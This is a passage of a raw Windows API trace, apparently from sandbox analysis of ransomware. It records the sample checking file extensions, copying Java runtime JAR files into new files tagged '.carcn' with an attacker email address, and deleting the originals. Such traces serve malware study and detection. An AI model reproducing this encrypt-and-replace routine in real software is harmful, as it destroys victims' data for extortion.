(lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0263.313] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0263.313] lstrlenW (lpString=".doc") returned 4 [0263.314] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0263.314] lstrlenW (lpString=".docx") returned 5 [0263.314] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0263.314] lstrlenW (lpString=".pdf") returned 4 [0263.314] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0263.314] lstrlenW (lpString=".xls") returned 4 [0263.314] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0263.314] lstrlenW (lpString=".xlsx") returned 5 [0263.314] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0263.314] lstrlenW (lpString=".ppt") returned 4 [0263.314] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0263.314] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0263.314] lstrlenW (lpString=".zip") returned 4 [0263.314] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0263.314] lstrlenW (lpString=".rar") returned 4 [0263.314] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0263.314] lstrlenW (lpString=".bz2") returned 4 [0263.314] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0263.314] lstrlenW (lpString=".7z") returned 3 [0263.314] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0263.314] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0263.314] lstrlenW (lpString=".dbf") returned 4 [0263.314] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0263.314] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0263.314] lstrlenW (lpString=".1cd") returned 4 [0263.315] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0263.315] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0263.315] lstrlenW (lpString=".jpg") returned 4 [0263.315] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0263.319] lstrcmpiW (lpString1=".jar", lpString2=".carcn") returned 1 [0263.319] lstrlenW (lpString="jaccess.jar") returned 11 [0263.319] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0263.321] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=44516) returned 1 [0263.321] CloseHandle (hObject=0x558) returned 1 [0263.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar")) returned 0x20 [0263.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.322] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0263.322] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0263.322] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0263.322] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0263.324] GetLastError () returned 0x0 [0263.324] ReadFile (in: hFile=0x558, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0xade4, lpOverlapped=0x0) returned 1 [0263.499] WriteFile (in: hFile=0x4b0, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xadf0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xadf0, lpOverlapped=0x0) returned 1 [0263.500] ReadFile (in: hFile=0x558, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0263.500] WriteFile (in: hFile=0x4b0, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xea, lpOverlapped=0x0) returned 1 [0263.500] SetEndOfFile (hFile=0x4b0) returned 1 [0263.504] CloseHandle (hObject=0x4b0) returned 1 [0263.508] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0263.508] SetEndOfFile (hFile=0x558) returned 1 [0263.511] CloseHandle (hObject=0x558) returned 1 [0263.511] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0263.511] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar")) returned 1 [0263.512] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0263.512] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0263.512] lstrlenW (lpString=".doc") returned 4 [0263.512] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0263.512] lstrlenW (lpString=".docx") returned 5 [0263.512] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0263.512] lstrlenW (lpString=".pdf") returned 4 [0263.512] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0263.512] lstrlenW (lpString=".xls") returned 4 [0263.512] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0263.512] lstrlenW (lpString=".xlsx") returned 5 [0263.512] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0263.512] lstrlenW (lpString=".ppt") returned 4 [0263.512] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0263.512] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0263.513] lstrlenW (lpString=".zip") returned 4 [0263.513] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0263.513] lstrlenW (lpString=".rar") returned 4 [0263.513] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0263.513] lstrlenW (lpString=".bz2") returned 4 [0263.513] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0263.513] lstrlenW (lpString=".7z") returned 3 [0263.513] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0263.513] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0263.513] lstrlenW (lpString=".dbf") returned 4 [0263.513] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0263.513] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0263.513] lstrlenW (lpString=".1cd") returned 4 [0263.513] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0263.513] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0263.513] lstrlenW (lpString=".jpg") returned 4 [0263.513] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0263.513] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0263.513] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0263.513] lstrlenW (lpString=".doc") returned 4 [0263.513] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0263.513] lstrlenW (lpString=".docx") returned 5 [0263.513] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0263.513] lstrlenW (lpString=".pdf") returned 4 [0263.513] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0263.513] lstrlenW (lpString=".xls") returned 4 [0263.514] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0263.514] lstrlenW (lpString=".xlsx") returned 5 [0263.514] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0263.514] lstrlenW (lpString=".ppt") returned 4 [0263.514] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0263.514] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0263.514] lstrlenW (lpString=".zip") returned 4 [0263.514] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0263.514] lstrlenW (lpString=".rar") returned 4 [0263.514] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0263.514] lstrlenW (lpString=".bz2") returned 4 [0263.514] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0263.514] lstrlenW (lpString=".7z") returned 3 [0263.514] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0263.514] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0263.514] lstrlenW (lpString=".dbf") returned 4 [0263.514] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0263.514] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0263.514] lstrlenW (lpString=".1cd") returned 4 [0263.514] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0263.514] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0263.514] lstrlenW (lpString=".jpg") returned 4 [0263.514] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0263.514] lstrcmpiW (lpString1=".jar", lpString2=".carcn") returned 1 [0263.514] lstrlenW (lpString="nashorn.jar") returned 11 [0263.514] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0263.518] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=2022734) returned 1 [0263.518] CloseHandle (hObject=0x558) returned 1 [0263.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar")) returned 0x20 [0263.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.519] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0263.519] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0263.519] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0263.519] lstrlenW (lpString=".doc") returned 4 [0263.519] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0263.519] lstrlenW (lpString=".docx") returned 5 [0263.519] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1 [0263.519] lstrlenW (lpString=".pdf") returned 4 [0263.519] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0263.519] lstrlenW (lpString=".xls") returned 4 [0263.519] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0263.519] lstrlenW (lpString=".xlsx") returned 5 [0263.519] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1 [0263.519] lstrlenW (lpString=".ppt") returned 4 [0263.519] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0263.519] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0263.519] lstrlenW (lpString=".zip") returned 4 [0263.519] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0263.519] lstrlenW (lpString=".rar") returned 4 [0263.519] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0263.520] lstrlenW (lpString=".bz2") returned 4 [0263.520] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0263.520] lstrlenW (lpString=".7z") returned 3 [0263.520] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0263.520] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0263.520] lstrlenW (lpString=".dbf") returned 4 [0263.520] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0263.520] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0263.520] lstrlenW (lpString=".1cd") returned 4 [0263.520] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0263.520] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0263.520] lstrlenW (lpString=".jpg") returned 4 [0263.520] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0263.520] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0263.520] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0263.520] lstrlenW (lpString=".doc") returned 4 [0263.520] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0263.520] lstrlenW (lpString=".docx") returned 5 [0263.520] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1 [0263.520] lstrlenW (lpString=".pdf") returned 4 [0263.520] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0263.520] lstrlenW (lpString=".xls") returned 4 [0263.520] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0263.520] lstrlenW (lpString=".xlsx") returned 5 [0263.520] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1 [0263.520] lstrlenW (lpString=".ppt") returned 4 [0263.520] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0263.520] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0263.520] lstrlenW (lpString=".zip") returned 4 [0263.521] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0263.521] lstrlenW (lpString=".rar") returned 4 [0263.521] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0263.521] lstrlenW (lpString=".bz2") returned 4 [0263.521] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0263.521] lstrlenW (lpString=".7z") returned 3 [0263.521] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0263.521] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0263.521] lstrlenW (lpString=".dbf") returned 4 [0263.521] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0263.521] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0263.521] lstrlenW (lpString=".1cd") returned 4 [0263.521] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0263.521] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0263.521] lstrlenW (lpString=".jpg") returned 4 [0263.521] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0263.521] lstrcmpiW (lpString1=".jar", lpString2=".carcn") returned 1 [0263.521] lstrlenW (lpString="sunec.jar") returned 9 [0263.521] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0263.522] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=42185) returned 1 [0263.522] CloseHandle (hObject=0x558) returned 1 [0263.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar")) returned 0x20 [0263.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.523] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0263.523] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0263.523] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0263.523] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0263.523] GetLastError () returned 0x0 [0263.524] ReadFile (in: hFile=0x558, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0xa4c9, lpOverlapped=0x0) returned 1 [0263.573] WriteFile (in: hFile=0x4b0, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xa4d0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xa4d0, lpOverlapped=0x0) returned 1 [0263.574] ReadFile (in: hFile=0x558, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0263.574] WriteFile (in: hFile=0x4b0, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xe6, lpOverlapped=0x0) returned 1 [0263.574] SetEndOfFile (hFile=0x4b0) returned 1 [0263.586] CloseHandle (hObject=0x4b0) returned 1 [0263.589] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0263.589] SetEndOfFile (hFile=0x558) returned 1 [0263.592] CloseHandle (hObject=0x558) returned 1 [0263.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0263.593] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar")) returned 1 [0263.594] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0263.594] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0263.594] lstrlenW (lpString=".doc") returned 4 [0263.594] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0263.594] lstrlenW (lpString=".docx") returned 5 [0263.594] lstrcmpiW (lpString1=".docx", lpString2="c.jar") returned -1 [0263.594] lstrlenW (lpString=".pdf") returned 4 [0263.594] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0263.594] lstrlenW (lpString=".xls") returned 4 [0263.594] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0263.594] lstrlenW (lpString=".xlsx") returned 5 [0263.594] lstrcmpiW (lpString1=".xlsx", lpString2="c.jar") returned -1 [0263.594] lstrlenW (lpString=".ppt") returned 4 [0263.594] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0263.594] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0263.594] lstrlenW (lpString=".zip") returned 4 [0263.594] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0263.594] lstrlenW (lpString=".rar") returned 4 [0263.594] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0263.594] lstrlenW (lpString=".bz2") returned 4 [0263.594] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0263.594] lstrlenW (lpString=".7z") returned 3 [0263.594] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0263.594] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0263.594] lstrlenW (lpString=".dbf") returned 4 [0263.595] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0263.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0263.595] lstrlenW (lpString=".1cd") returned 4 [0263.595] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0263.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0263.595] lstrlenW (lpString=".jpg") returned 4 [0263.595] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0263.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0263.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0263.595] lstrlenW (lpString=".doc") returned 4 [0263.595] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0263.595] lstrlenW (lpString=".docx") returned 5 [0263.595] lstrcmpiW (lpString1=".docx", lpString2="c.jar") returned -1 [0263.595] lstrlenW (lpString=".pdf") returned 4 [0263.595] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0263.595] lstrlenW (lpString=".xls") returned 4 [0263.595] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0263.595] lstrlenW (lpString=".xlsx") returned 5 [0263.595] lstrcmpiW (lpString1=".xlsx", lpString2="c.jar") returned -1 [0263.595] lstrlenW (lpString=".ppt") returned 4 [0263.595] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0263.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0263.595] lstrlenW (lpString=".zip") returned 4 [0263.595] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0263.595] lstrlenW (lpString=".rar") returned 4 [0263.595] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0263.595] lstrlenW (lpString=".bz2") returned 4 [0263.596] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0263.596] lstrlenW (lpString=".7z") returned 3 [0263.596] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0263.596] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0263.596] lstrlenW (lpString=".dbf") returned 4 [0263.596] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0263.596] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0263.596] lstrlenW (lpString=".1cd") returned 4 [0263.596] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0263.596] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0263.596] lstrlenW (lpString=".jpg") returned 4 [0263.596] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0263.596] lstrcmpiW (lpString1=".jar", lpString2=".carcn") returned 1 [0263.596] lstrlenW (lpString="sunjce_provider.jar") returned 19 [0263.596] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0263.597] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=280161) returned 1 [0263.597] CloseHandle (hObject=0x558) returned 1 [0263.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar")) returned 0x20 [0263.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.597] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0263.598] SetFilePointerEx (in: hFile=0x558, 